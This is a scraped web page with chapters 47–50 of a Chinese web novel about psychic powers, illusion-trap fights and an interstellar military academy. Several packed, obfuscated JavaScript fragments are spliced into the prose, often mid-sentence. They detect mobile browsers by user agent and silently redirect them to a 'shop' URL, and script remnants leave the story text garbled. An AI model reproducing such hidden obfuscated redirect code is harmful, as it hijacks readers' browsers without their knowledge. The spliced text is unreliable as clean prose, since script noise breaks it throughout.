l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12465486|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝇都无法飞进去。 “顾组，上面派的人到了，说是请您过去。”一个年轻人匆匆忙忙跑过来传话，他眼底一片青黑，嘴唇苍白干裂。 “我知道了。”顾杰羽给他拿了一瓶水，转头跟车里的颜和安排工作，“小颜，你随时关注小王他们的消息，有情况及时告诉我……先告诉张队吧。” 颜和扯出一个僵硬的微笑，朝她点点头：“好的，组长。” 她看着顾杰羽离开的背影，又低下头给简初发了一条消息，聊天界面里满满都是颜和一人发出的信息，到今天晚上就整三天了，简初一句话都没有回复。 颜和用力眨眨眼，还是没忍住眼泪，直到泪水滴在手机上，她才如梦初醒一般擦了擦脸。 两天前，她发现简初不回自己消息的时候就感觉不对，直到从张国栋口中得到确切的消息——她确实被关在了遮罩之中。 这两天她一有空就向简初发消息，奢望对方能突然回答一次，最好能直接出现，但这显然是不可能的。颜和眼神暗了暗，将手机小心放好，打开车门，走向了忙碌的同事。 “顾姐，我们来迟了。” 这次上面派来两男一女，个个都正值青壮年，不过他们好像跟顾杰羽颇为熟悉。 “按照职位，是我该喊你们领导。”顾杰羽淡淡开口，“上面打算怎么把事遮掩过去，这次闹得可有点大。” “新式武器。”为首的男子开口道，“这次带了个武器专家来，事情解决之后就开新闻发布会，军方研究的电磁屏障？军事演习嘛，他们想出来的馊主意。” “听着还行，现实要离谱得多。”顾杰羽点点头。 “话是这么说没错了……易骄，麻烦你先识别一下情况，然后我们再来讨论下一步安排。”路玺朝右方的女性说道。 四个人靠刷脸，畅通无阻地接近了遮罩，离得近了才能看到上面游走着奇异的纹路，并且抗拒外界人员进入。 “是幻境。”易骄瞳仁突然变成亮蓝色，紧接着迅速判断出遮罩来源于何种异能，“强度有点高，比较棘手。” “不是空间系，那就不能直接爆破了，幻境这种东西，一个搞不好里头的全变植物人。”路玺皱皱眉，看向他身边和易骄长相相似的男性。 感受到视线，易阳露出微笑点点头：“麻烦顾姐给我找一台电脑来，性能好一点的。” 顾杰羽很快给他找来一台砖头一样的笔记本电脑，易阳一手捧着电脑，另一只手摸上遮罩，很快，电脑屏幕开始出现变化，短暂扭曲了几秒后，伴随着雪花点，浮现出一个立体的建筑图。 图案慢慢向外扩展，紧接着连到了一个空间，大概五分钟左右，一条一眼看去宛如长廊的立体构图出现了。 “时间流速大概是1：60，有点夸张啊……出现连续的相同空间，这个幻境有四层，大部分人都处于……不对，第一层……前三层崩掉了。” 易阳面色难看地指向最后一块立体地图。 “现在所有人都在第四层，包括这个幻境的构建者，但问题是，前三层的结构都很清晰，不像是自行崩塌的。” 几人抬头，相互看了几秒，异口同声开口。 “里面还有其他异能者。” 47. 灯下黑（47） 简初看着吴起在整个大厅转了一圈，他的表情在灯光下明明灭灭，怀疑的眼神在每个人身上流连，但又似乎不想惊动他们。 冷静一点，好好想想。 吴起在心底不断劝慰自己，试图从破碎的前几层幻境中抓取到更多的信息。 ……等等，时钟。 男人突然反应过来，他骤然抬起头，看向吧台最上方的钟表，从他这个角度看去，钟表所在的位置正好被垂下来的装饰条挡住。 他得到第一次漏洞提示的时候，幻境碎片里是不是有女人说话的声音来着？ 吴起眉头紧紧皱起，后面几次被杀的画面几乎将其覆盖，无法从中回忆起有用的信息，但如果第一次幻境重置时，发现漏洞的就是那女人，那她所在的位置，可以看到时钟。 不管怎样，既然有所怀疑，那就要去验证。 简初看到吴起突然愣愣地盯着上方的钟表，不妙的预感袭来，她赶紧转过了侧着的脸，跟调酒师叮嘱了一句帮忙看顾一下自己的饮料，便起身离开，走向了洗手间。 这边的吴起脚下挪了几步，就看到时钟从装饰条后面冒了出来，但事情的发展跟他设想的有些不一样。 整个大厅内能看到这个时钟的人实在太多了，假借夜店活动的名义揽来的众多客人，此刻却成了吴起求生的阻碍。 难道他还是要等那女人主动现身来杀自己？不行，这太危险了，连续的幻境破溃让吴起有些失去信心，他不敢确保自己能够反杀对方。 吴起下意识走向距离时钟最近的吧台，人们都在舞池中热舞，相比之下，吧台虽然也坐了不少人，但这里相对安静，大多都是两两凑在一起说话。 他看到蓝湾总队的那两个人朝自己看了一眼，不过并不在意，这种普通人对他完全无法构成威胁，要不是那女的，他俩哪有机会活到现在。 不在这里。 吴起烦躁地啧了一声，正准备转头走到另一边去看看，但余光却瞥到吧台上一杯红色的饮料，它被喝了一半，但并没有被调酒师收起来，杯壁上的水珠不多，看起来在不久前正有人握着它。 “这儿有人吗，杯子怎么不收？”吴起慢慢踱过去，沉着声音对调酒师说道。 “客人你好，这边的女士去洗手间了，麻烦你重新找一个座位吧。”调酒师礼貌地回答，虽然不知道这人是谁，但从二楼下来的属于贵宾，他自然有问必答。 吴起心底咯噔一下，尽管没有见到人，但他的潜意识已经疯狂敲响警钟——是她是她是她！ 那女人已经知道自己在找她了！ 他毫不犹豫调转脚步，迅速走上二楼，既然对方已经发现他，想要偷袭的计划只能宣告破产，吴起当即决定离开爆炸中心，并在女洗手间构造了一个全新的爆炸点。 威力是原先大厅的两倍，他就不信那女人还能“活下来”，只要她接受自己“死亡的事实”，原本的计划就能继续推进。 …… 简初正站在洗手台前，冷水冲在她手上，她抬起头，透过镜子看见身后不断有女性经过，下一秒，镜中的脸却突然闪烁了一下，紧接着变成被烧焦后，露出红色皮肉的模样，她心下一惊，猛然向后退了一步，惹来旁人奇怪的目光。 不见了…… 就一眨眼的功夫看，镜中的自己又恢复了正常的样子。 还没等她继续思考，爆炸的巨响和滚烫的火苗突然从角落喷涌而出，将这里站立的所有人无情吞没。 …… 吴起焦躁地来回踱步，他换了一个最远、最不起眼的保洁间躲藏。 他现在是整个幻境里唯一的“活人”，不，也许那个女人也还清醒着。 尽管吴起已经尽力在异能允许的范围内，捏出了一个最惨烈的爆炸，但他还是不免担心那女人有什么奇异的方法逃出生天。 再等等，只要再过一会，幻境就进入尾声了。想到自己的计划也许可以顺利进行，吴起露出一个带着些许担忧的、难看的笑容。 夜店一楼此时已然变成废墟，原本陈列的物品此时都碎了一地，被掉落的砖块压在下面，木制的桌椅上还烧着火，死气沉沉没有一丝活气。 洗手间墙面全部坍塌，瓷砖碎了一地，这里没有什么易燃物，全都是爆炸带来的焦黑，突然，地面上的瓷砖碎片动了动，一只通红的手猛然从里面伸了出来！ 简初拂开自己面上的碎片，疼得龇牙咧嘴，沉沉的寒气从头顶慢慢往下飘，暂时缓解了疼痛。 天杀的在这儿安炸弹！ 她忍着疼痛摸向自己的右肋，找到那块插进自己肋骨间的镜子碎块，将它撅了一半——太长了很碍事，但是拔出来又会很难止血。 不知道为什么，心底总有一种声音在警告自己，暂时不要读取自己的身体数据。也许是第六感希望她珍惜读档的机会，毕竟目标还没有找到，要是读档之后再受伤就难办了。 原本想和吴起周旋，打听组织消息的念头已经全然消失，简初此刻只想用最快的速度将对方解决，然后读档数据消除疼痛。 精神力在废墟中攀行，短暂的失去意识让她丢失了吴起的光点，简初心底还有些没底，但很快，她就在二楼的一个角落，发现了一个不停在原地来回的光点。 其他的光点全都黯淡无光地停驻在原地，只有它，看起来很有活力，也很可疑。 下一秒，简初的身影突然出现在通往二楼的楼梯口，一步步接近她的猎物。 …… “我也一起进去吧，多个人好歹能搭把手。”顾杰羽看着路玺做进入幻境的准备工作，突然开口道。 易骄、易阳都是辅助系的异能，显然不能进入幻境，但只有路玺一个人进去也实在让人不放心。 尽管自从那件事之后，她已经很久没用过异能了。 三个青年人互相对视一眼，紧接着路玺笑着开口：“没事顾姐，我的水平你还不放心啊。” “不是不放心。”顾杰羽面无表情地垂下眼，“我知道你们在想什么，都给我咽回肚子里去。” 易骄易阳两兄妹闻言，控制不住地抖了抖，记忆回到很久之前，被顾杰羽压着脑袋学习的画面，随后一个看天一个看地，不再管路玺的眼色。 “我知道了。”路玺只能放弃，“准备好咱们就动手吧。” …… 简初即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12505365|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将来到光点所在的房间门口，她已经看到门口挂着“保洁间”的牌子，疑惑吴起为何会躲到这里。 二楼的人不多，但躺了一地，应当是被爆炸的从冲击波击晕，但吴起怎么能这么巧合地躲开，还呆在保洁间这种地方，除非他早就知道会发生爆炸，才能提前做好准备。 就是不知道对方的准备做到何种地步了。 简初放轻脚步，直到她站在保洁间门口，里头的光点仍然在不停来回，她几乎可以隔着门板听见脚步声了。 “砰！” 吴起骤然回头，就看见保洁间的门被推开一条缝，然后被他提前堆放在门口的金属板卡住了。 他记得自己是怎么死的，自然要做好…… 准备。 金属板在他的面前被甩飞，一条油亮的黑色触手迅速扑了过来，几乎将吴起镇在当场。 不是！她之前用的不是这个异能啊！ 吴起憋红了脸，已经无法呼吸到新鲜的空气，但还有最后一个办法！ 只要让对方意识到这里是幻境，他就可以强行重开一局，比起到时候异能透支的后果，此时的死亡更让他恐惧。 吴起高声喊道：“这是……！” 幻境两个字还没说出口，小触手就将他的下半张脸紧紧缠绕起来，直接手动闭麦。 完了！ 吴起眼中刚刚浮现出绝望，下一刻脑袋就以一个不正常的角度垂落在一边，在他死亡的这一瞬间，简初此前对自己发动的【唱诗班】正式失效。 “天赋技能【神之手】升级成功，解锁能力【幻象扰动】。” “幻象扰动：对于意志力不够坚定的人来说，你精心捏造的幻象也许可以直接让他破防，但过度使用也许会让你自己也无法分辨真假的界限。” 还没等简初整理自己脑内突然出现的海量信息，耳边突然传来渺远的歌声。 叽里咕噜的，架势挺唬人，但唱得一片稀烂。 也许是捕捉到她的想法，歌声突然停顿了一下，紧接着调大了音量，似乎是歌声的源头靠近了一点。 不知道是什么语言，歌词听不懂，曲调无美感，但没过两秒，简初突然感觉到强烈的恶心，大脑中传来疼痛和眩晕，仿佛有什么东西伴随着歌声使劲往她脑子里钻，但钻入的过程并不顺利，因而带来了如此的不适感。 小触手不受控制地再次探出来，在空中毫无规律地舞动，紧接着歌声突然开始变小，直到消失。 简初感受到小触手有些焦急地围绕着自己，如果它有嘴的话此时一定在喋喋不休，她慢慢吐出一口气，想扯出一个微笑安抚它，就瞥见小触手的根部，原本占据了两公分左右的金色部分，此刻只剩下半厘米的一条粗线。 怎么又变了！ 不等她细想，周围的环境突然开始剧烈抖动，地上的废墟往上空飞去，仿佛被按下了倒放键，但倒带的同时一切又都在消散，紧接着，她跟两个人对上了眼神。 一个是顾杰羽，另一个是谁？ 重新挂到墙上的时针显示着此刻的时间，正是凌晨两点。 “读取锚点（1/2），倒计时归零，偏移度+3。” 48. 灯下黑（48） “身体数据存档失效，请重新存档。” 伴随着系统的提示，简初眼前一黑，再睁开眼就来到了一个熟悉又有些陌生的地方。 这是她在军校的学生宿舍，莫景正表情愣愣地看着她。 “学姐，那我先回去了。” “啊？嗯，好的，路上小心。”简初下意识回答后，才记起这会正是她刚刚使用【唱诗班】，给莫景下完暗示的时候。 时间又往回倒了一点，但是不多，约莫一分钟出头。 简初没有犹豫，直接存档了一份身体数据，以备不时之需。 “噔噔噔！” “猎杀目标吴起，已确认死亡，现发布奖励信息，请从下列关联词中进行选择。” “选项一：温弗拉，选项二：天选会。” 简初没想到系统会给出两个选择，选项二看起来应该是吴起他们所在组织的名称，如果她此刻还处于现实世界，绝对会毫不犹豫地选择选项二，但问题是，现在情况又有了新变化。 “请在60秒内做出选择，否则将视为自动放弃。” 简初抿抿唇，突然抬起眼皮：“选项一。” “确认选项。” “真实往往隐藏在虚假背后，但未必深埋于阴暗之处。” 简初：“……” 突然陷入漫长的沉默，她头疼地揉了揉脑袋，确定奖励信息已经发放完毕，但这跟她原本期待的实在差得有些远。 她原以为系统会给出直白的信息，比如温弗拉有几口人，或者是温弗拉的目的是什么，结果没想到，居然是这个风格。 简初决定从这一秒开始，她最讨厌的就是谜语人。 虽然如此，她还是默默把这句话记在心底，其实话语本身的意思并不难理解，真实也许就在你面前，只不过被虚假喧宾夺主，从而完美隐藏起来，但问题是这个真实指的到底是什么，又或者它指向的并不只是某个事物。 简初暂且将这条信息放在一边，转头分析起自己穿越的契机。 除了最初一次穿越之外，系统都播报了一句听起来很类似，但又不一样的话。 首先她可以确定，在两个世界分别有一个“锚点”，她的穿越很有可能依赖于此，此外暂时没有发现锚点有另外的作用。 其次，“偏移度”指的是什么。以简初现有的知识储备来看，有“偏移”就有参照，系统的参照物是什么，这两次偏移度为正，那么有没有可能为负，这样的偏移是好还是坏。 最后，也是最明显的区别。“关键节点更定”与“倒计时归零”，尤其是后一句，几乎直接将“你在现实世界只能呆这么久哦”写在了明面上。 简初抽出一张纸，写下第一天的日期，接着往后排列，直到在最后打上了一个问号。 问题来了，她不确定最后那天是几号。 这个倒计时不太可能是一个零碎的数字，她跟着吴迪进入夜店的时候，时间即将走完六个整天，但幻境破碎时，她清晰地看到顾杰羽和一个陌生人闯入幻境。 几个小时的时间，足够他们做好准备，并采取行动吗？ 尽管确认了现实世界确实有对抗异端的官方人员，但简初却无法高兴起来，因为她跟对方对上眼了，下一次回去绝对会被当做重点人员进行盘查。 暂且先把倒计时当做是六天，那么这个“关键节点更定”看上去就和“偏移度”更搭了。 在系统说出这句话之前，她只做了一件事，就是给莫景处理了精神空间中的异样，而异样的来源极有可能是校内研究所的重点项目。 所以关于这一点，系统的参照应该是“莫景的异样没有得到处理”，这让简初一时有些拿不定主意。 从表面来看，那个黑乎乎的玩意确实不像个好东西，这样的话，偏移度+12带来的影响是正向的，但如果它的消失影响到了项目进展，从而影响到了后续药剂的研发，那这个偏移又变成负面的了。 不，如果项目的成果会带来坏的结果，那这个偏移又变成正向的了。 简初盘了半天，确实总结出了一些信息，但与之相对的，是得到了更多的问题。 对了！还有…… 小触手从简初身上探出来，打了个卷儿似乎在想怎么突然又回到了这里，但没有几秒，又亲亲热热地贴上简初的脸颊。 简初伸手把它拽远了一点，仔细打量着它的肢体，通体半透明的灿金色，乖乖被她捏着，一动不动。 怎么又变成这样了？ 原本简初还以为是因为它吞噬了莫景精神空间的异物，才变成那副黑乎乎的模样，结果现在看来并不是？ 也许在现实世界的才是它的本体，跟随自己来到星际世界的是精神体，这样就能稍微说得通些了。 但精神力是无法被肉眼观测到的，但小触手已经确定可以被一部分人看到，这个猜测又被打上一个巨大的问号。 至少看起来还是很正常的。简初心想。 …… 尽管并不是同一个世界，但精神上的疲惫是无法随着穿越消除的，简初睡了个昏天黑地，第二天上课的时候都一直耷拉着眼皮，时不时打个哈欠。 距离模拟大赛还有九天，她的禁赛时间已经过了，不过上次被人举报的经历还是让简初心有余悸，也许她应该找个人带带自己？ 不过还没等她想好求助人选，倒是先收到了程源的集合通知，这次的通知非常急迫，是由对方亲自打电话来的。 讲台上的老师正在侃侃而谈，简初面不改色地接通了通讯。 “现在立刻马上，到我办公室来。”程源开口就是斩钉截铁的催促，“不管在上什么课，直接离开，回头由我来解释。” 简初沉默两秒，随即依言离开，很快抵达了程源的办公室，待她推开门，就看见里面已经坐了好几个人，但并不全是程源的学生。 见她进来，室内的氛围也没有轻松多少，又过了一会，又有两个学生敲门，至此，办公室内除了程源还有简初曾见过的冯博士，剩下的七名都是学生，但其中好几个是其他教授的学生。 “七个人都到了吧？”程源抬眼点了一下人头数，确认无误后继续开口，“事情比较急，简单跟你们说一下，具体有问题回头问冯老师。” 学生的眼神不约而同往冯聿身上飘了一下，又回神紧盯程源。 “斯塔集团后天要举行发布会，具体内容先对你们保密，你们几个都是我们学院参与模拟大赛的种子选手，所以争取到了一些名额，让你们去看看，同时也激励一下自己。” 听到“种子选手”四个字，简初感受到在场大部分人的目光往自己身上落了一秒，但并不是什么善意或者佩服的眼神，而是——“这也算种子选手”的鄙夷。 看来自己在学院还挺出名的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12513102|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 简初老神在在，她的眼神一直落在程源身上，所以没有错过他与冯聿两人短暂的眼神相接，似乎达成了某种隐秘的交流。 “作战学院那边去的人多一些，这次就由冯博士带着你们，有什么事都听他们统一安排，现在，所有人花二十分钟，回去收拾行李，然后在星舰接引点集合。” 程源说完，就看着在场的学生一脸呆相地面面相觑，他从鼻腔挤出口气，压下内心的怒气。 “还愣着干嘛！快去啊！一个个的，能不能让人省点心！” 学生们做鸟兽散，简初混迹其中，坠在尾巴上离开了，她反手将门合上，听到冯聿开口问了一句。 “时间提前了，是不是他们想……” 后面的话随着门缓缓关上，再也听不见，办公室的隔音效果好得让人抓狂。 前面的人都赶着回去收拾东西，就这么两秒已经看不见人影，电梯正在向下运行，简初双手插兜，一边等着一边思考冯聿话中的含义。 虽然没有主语，但是如果他们聊的是这件事，那就是指斯塔集团的这个发布会提前了，不过什么主题的发布会才会跟他们这些“参加模拟大赛的种子选手”搭上关系。 更何况，他们其实是被作战学院捎上的。 虽然不应该随意下定论，但是如果是作战学院，很容易让她联想到之前失败的某个任务。 如果研究所和斯塔集团是一条战线的，那就好理解了。 简初情不自禁放慢了脚步。 研究所配合集团做局，提前消灭了觊觎药剂的人，但他们绝对不会是大发善心，不求回报地做了这件事，这么看来，斯塔集团的发布会，乃至邀请他们前去，大概率都不是出于本心。 甚至都未必是邀请，而是不得不做的赶鸭子上架。 伊森·斯塔本人就不是什么傻白甜，简初很难相信，能培养出这样的人，米勒尔本人会是什么无脑小甜心。 他们之间或许存在什么不为人知的交易。 研究所和集团都不是什么省油的灯，简初的第六感告诉她，这次发布会绝对不会平静度过。 …… “祖父，我还是不明白，为什么要提出将发布会提前？”伊森·斯塔紧盯着米勒尔的背影，低声开口，“明明在模拟大赛的时候开发布会，能让影响力最大化，为什么……” “伊森，你说得没错，如果我们在模拟大赛期间，宣布药剂的存在并邀请优胜的学生们加入研究项目，当然会得到所有人的关注。”米勒尔转过椅子，双手交叉撑住下巴。 “但现在请你站在研究所的立场上思考，如果在那样盛大的场合出现纰漏，难以收场的情况之下，会让谁来做替罪羊呢？” “啊当然，尽管确实是我们自导自演，但他们并不知晓。”米勒尔无所谓地摆摆手，笑眯了眼。 “集团和研究所需要保持良好的合作关系，当然不能轻易撕破脸，所以在模拟大赛开赛之前，是一个绝佳的时间。” “我们有机会‘弥补’过失，顾全研究所的脸面，这样对方也会给我们一个台阶。” 伊森垂下眼，故作沮丧：“原来如此，我要向您学习的地方还有很多。” “你还年轻。”米勒尔叹了口气，“这次过后，研究所应该不会再盯着不放了，你有空去研究中心看看，挑一个合适的小玩意，用作集团的歉意，送到模拟大赛吧。” 49. 灯下黑（49） 作战学院的人多得有些超出预料。简初看着前头乌泱泱的脑袋，摸摸握紧了行李带子。 “嗡嗡。” 终端突然震动了两下，简初一看，是来自秦理的消息。 “回头！” 简初失笑，这俩字一看就知道她也来了，她慢悠悠转过身，却没想还没看清人，就被抱了个满怀。 “哈哈，我就知道你也会来，特地在这等着呢，你居然都没看见我！”秦理笑眯眯的，简初抬起头，果不其然在她身后看见了另外两个人，还有几张陌生的面孔。 “好久不见。”简初弯了弯眼角。 不知道为什么，在这个世界总感觉自己的心态也回到学生时代，也许是因为身体年龄还小的缘故？ “嗯？你们俩这么熟了？”秦理莫名其妙回头看了眼傅燃，“就这几天没见，还特地跟他打招呼。” 简初的表情僵了僵，除了傅燃，她们确实昨天刚见过，但由于在现实世界过了好几天，她下意识说了“好久不见”。 “没有没有，一日不见如隔三秋。”她抬头看见傅燃投过来的眼神，虽然隐藏地很好，但是眼底还是透着疲惫。 难道是家里的事情很难办？ “不过你这么一说，傅燃确实是好久不见了。”她朝对方点点头，傅燃似乎没想到被秦理打趣之后，她还会跟自己打招呼，迟疑着回应了一句。 “人全了，排队上舰吧。” 作战学院的领队老师比较谦让，让他们先上，冯聿像老母鸡一样，把精神控制学院的几个小鸡仔牢牢圈在周围，不过由于座位数量的问题，三人一排，最后冯聿跟简初两人一左一右，空出了中间那个位置。 “抱歉简同学，我有不少东西要处理，没有别的意思。”冯聿指了指中间座位上的大包，拉链开着，里面全都是厚厚的文件资料。 “没事，这样确实方便。” 简初刚说完，就看到秦理迅速溜上来，昂着脑袋看了一圈，坐在了简初隔壁，隔着一条走道。 后面两人倒是慢悠悠，不过他们两人并没有坐在秦理旁边，而是选择了简初后排的座位。 “老师让我带一下两个四年级的学妹。”看见简初疑惑的表情，秦理凑过来小声解释道。她刚说完，后面跟着的学生就都走过来，选择位置坐下了。 秦理和颜悦色地让两位女生坐到里面去，回头给简初抛了个wink，差点让简初没憋住笑出声。 作战学院来的人确实要多很多，目测有二十多个学生，带队老师有三名，其中一个是老熟人李亭老师，他看到简初还特地打了个招呼。 简初对此敬谢不敏，毕竟看见对方的脸，就会想起课上一些不好的回忆。 不过总感觉有人在看自己。 简初左右看了看，大家都在忙自己的事，她福至心灵，挑头往身后看了眼，就对上了傅燃的眼神。不过他似乎只是看着自己发呆，这会被抓包也只是慢慢眨了眨眼。 简初：“……” 睫毛好长。 “呃，怎么了？”傅燃被她的眼神看得有些发毛，自己还没有下定决心要不要找她帮忙，难道就已经被看出来了？ 没什么。 “你睫毛好长。” 左虞珩喝水的动作突然停止了，他转过头瞪着眼，似乎在思考自己刚刚听到了什么。 简初：“……不是，我是说，没什么，我感觉有人看着我，以为你有什么事要跟我说，哈哈，没事就算了。” 她噼里啪啦说了一堆，迅速转过头，带上了眼罩，陷入了“睡眠”。 救救她，她怎么把心里想的话给说出来了！ 傅燃还没反应过来，下意识摸了摸自己的睫毛，得到左虞珩更加惊恐的表情。 他收回手，面无表情地瞥了一眼：“别说话，喝你的水。” 左虞珩还没说出口的话被矿泉水堵了回去，他沉默地举起手，来了个意义不明的大拇指。 …… 他们一下星舰，斯塔集团的接待人员就迎了上来，中途全程脚不沾地，上车直抵集团名下的酒店。 一进门，简初就被各色光华闪瞎了眼。 内里的装饰很有星际时代的古典特色，但对于简初来说还是太过超前了。 “整个156层都是贵校的房间，一人一间，你们是自由安排，还是由我们来分配呢？”前台的接待人员礼貌询问。 总领队方贺看了眼周围孩子们眼巴巴的表情，无奈接过一叠房卡：“我们自己来安排吧，麻烦你们了。” 作战学院的学生们像一团乌云，整齐地环绕着总领队凑到旁边的角落，领了房间的牌子，搞得方贺前后都不是。 秦理眼珠转了转：“老师，要不您给我一半，我们几个跟精神控制学院的一起分一分？” “也好也好！”方贺一个大高个，被挤得哭笑不得，闻言连忙点头，抓了一叠房卡从学生们头顶塞到了秦理高举的手里。 “走走走！”秦理飞快撤退，带着四根木桩子跑到了简初这边，两个低年级的女孩顿时有些局促起来。 “房间应该都是一样的，随便给一间就行了。”傅燃低声开口，被秦理完全无视。 她直接抽出一叠，然后把剩下的交给了冯聿：“老师，这几间都是凑在一起的。” “好的同学，谢谢你。” 冯聿接过房卡，下意识点了一遍，嗯，是七张没错……嗯？ “同学，我们……”少了一张。 冯聿看着秦理把一张房卡塞进简初手里，咽回了后面的话，重新组织语言：“简同学，我们还是要住得近一点，有事比较方便。” 简初抬头看了一眼他手里的房卡，眼尖地瞥到房号：“老师，我们是连号的，别担心。” 不愧是秦理，直接把她放在了两个学院的交界处，根本挑不出毛病。 “哦哦，那好，都先回房间收拾东西吧，房间缺什么直接联系前台。”冯聿发完房卡，又把人都带上楼，看着一个个都进了房间，才稍稍松了口气，不过没等两秒，就看见有人离开房间，看起来想跑到隔壁。 “你……” “砰！” 还没等他说出话，就看着房门迅速关上，这一片走廊已经空无一人。 冯聿：“……” 没事，反正都是自己人，串个门而已不用管，呵呵。 “怎么了，刚刚就看你给我使眼色。”简初一进门就躺在了沙发上。她行李带的不多，也没有专门收拾的必要，到时候用啥直接掏就行了。 156层的房间还不错，都是单人套间，面积也不小，用品都是高级货，总之比宿舍住起来舒服多了。 “喊你出去玩啊，这么难得的放风机会，现在时间刚刚好，玩累了回来赶上吃晚饭。方老师喜欢先拉着其他老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12530570|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师开会，我们估计要到晚上了，这半天肯定都没事情做。”秦理拨了拨自己的自己的头发，“长了，正好去剪一下，学校理发店的手艺好差，剪得跟狗啃的一样。” 作战学院好像是对头发长度有要求……吗？ 秦理读懂了简初的眼神：“别想了，没有要求，不过我从小就是短头发，习惯了。” 她眼神上下动了动，落在简初的头发上，半长不长，还怪特别的。 “你去哪剪的，学校能剪成这样吗？” “我自己剪的啊。”简初懒洋洋地陷在沙发里，“你忘了吗，我窗户炸掉的那天，我以前……” 她迅速闭了嘴。 不过秦理的重点已经被“自己剪的”吸引了，她突然扑过来，紧紧拉起简初的手。 “啊！那你可以帮我剪吗！求求你了！” 左虞珩和傅燃两人站在走廊上，作战学院已经有不少学生溜出去了，看到这两人啥也不做站在门口，都忍不住要问几句。 “她俩怎么还不出来，消息也不回，在里面做贼呢。”左虞珩甩着胳膊，没听见有人回应，疑惑地看向傅燃，“哈喽，你怎么了，昨天回来之后就总是在发呆，发生什么事了吗？” “嗯？没什么，就是有点累了。” 此言一出，左虞珩的表情更加严肃了。 “你还好吧，说实话，前几天你是不是……算了这个我不方便问，最近去检查过吗？” 傅燃深吸一口气：“检查过了，没有大碍，放心好了。” 不过左虞珩并没有被他的话应付过去：“所以你今天总看着简初发呆，是想找她帮忙，研究所那边没有办法吗？啧，当我白问，研究所那边一直都在打太极，去他的。” “因博士建议我最近在学校里也定期做辅导，她给我推荐了一个人选，不过……”傅燃难得露出这种表情，左虞珩一看就知道推荐的是谁。 “他不合适，你们两家关系本来就不好，万一他动手脚怎么办。”虽然伊森大概率不会是这种小人行径，但左虞珩无法完全信任他。 傅燃家中的人大多在军部任职，几乎都是站在特战中心那一边的，而集团给联邦研究所提供赞助，自然关系就差了下来，在提案会上常常互相攻讦，见面打个招呼都刀光剑影的。 “别担心，我在想办法，况且还是老问题，你知道的，不会有什么别的影响。”傅燃开口道，“她们出来了。” 话音刚落，房门就被打开，两个人一前一后钻了出来，秦理还在用手拍脖子上的碎头发。 “你这手艺，可以去开店了，啊不，还是别开店，不然我还要排队。”秦理啧啧称奇，“你们俩是没看到，她那个剪刀耍的，绝赞！” 简初：“……” 她迅速抢过秦理的话头，以防她再说出什么来：“你们等久了吧……” “啊这，确实剪得很不错啊。”左虞珩围着秦理转了一圈，“要不？有空给我也来两刀？” “倒也不必这么……”捧场。 简初话还没说完，秦理就抢先拒绝了：“不行，这是我的，不给你剪。” 简初感觉自己已经成为这两人play的一环，她将求救的目光投向傅燃，却看见对方又在瞧着这边发呆。 她微微皱起眉，莫景和温南接连出现状况，让她忍不住要往那个方向去想。 傅燃不会也出现情况了吧？ 50. 灯下黑（50） 傅燃还不知道，自己只是沉浸在是否要找她帮忙的纠结之中，却快被当做病入膏肓了。 不过某种层面来说，也不算错。 “你没事吧？”简初皱眉开口问道，得到了肯定的回复，便耸耸肩不再询问，不过作为朋友还是贴心地补充，“需要帮忙的话不要客气。” 尽管作为学生来说，使用异能的强度并没有达到会导致精神力紊乱综合征的地步，但凡事皆有可能，更何况她可没忘记，傅燃在外头大概也干了不少事。 她本以为第一次见面时，傅燃只是在外头做军校发布的任务，但等到她真正看过校内的任务栏，才发现根本不是那么一回事。 不仅极少有任务需要离校，而且大部分都是协助任务，只是作为辅助或者后勤人员，有专人带领的那种，而简初此前两次见到傅燃，他都只有一个人。 鉴于军校的特殊性，以及傅燃行动间并没有特地遮掩自己的面部特征，再加上南芒区警卫署的人来找过自己，简初暂且认为他是提前被拉去当作实习苦力了，就像伊森·斯塔一样。 米莱顿是斯塔集团旗下著名的顶级酒店，就算在寸土寸金的中央城区，也占下了一大块地皮，离开酒店的范围，步行一小会就可以直接进入繁华的商业街。 街上很多新奇的玩意，简初从来没见过，一路上都兴致高昂，但却丝毫没有掏钱买账的意思。 “感兴趣为什么不买？”秦理凑上来，举着手里的袖珍模型，“确实做得挺不错啊，我还没怎么来玩过呢，没想到还挺有意思。” “因为买了回去很快就会扔在一边，”简初晃晃手里的另一个模型，“最多新奇两天，之后就再也不会碰了，毕竟不是我的爱好。” 就这么逛完半条街之后，简初开始觉得无聊了。很多东西确实很新奇，但同质化率太高了，装潢各色的店铺里卖的东西却是大同小异。 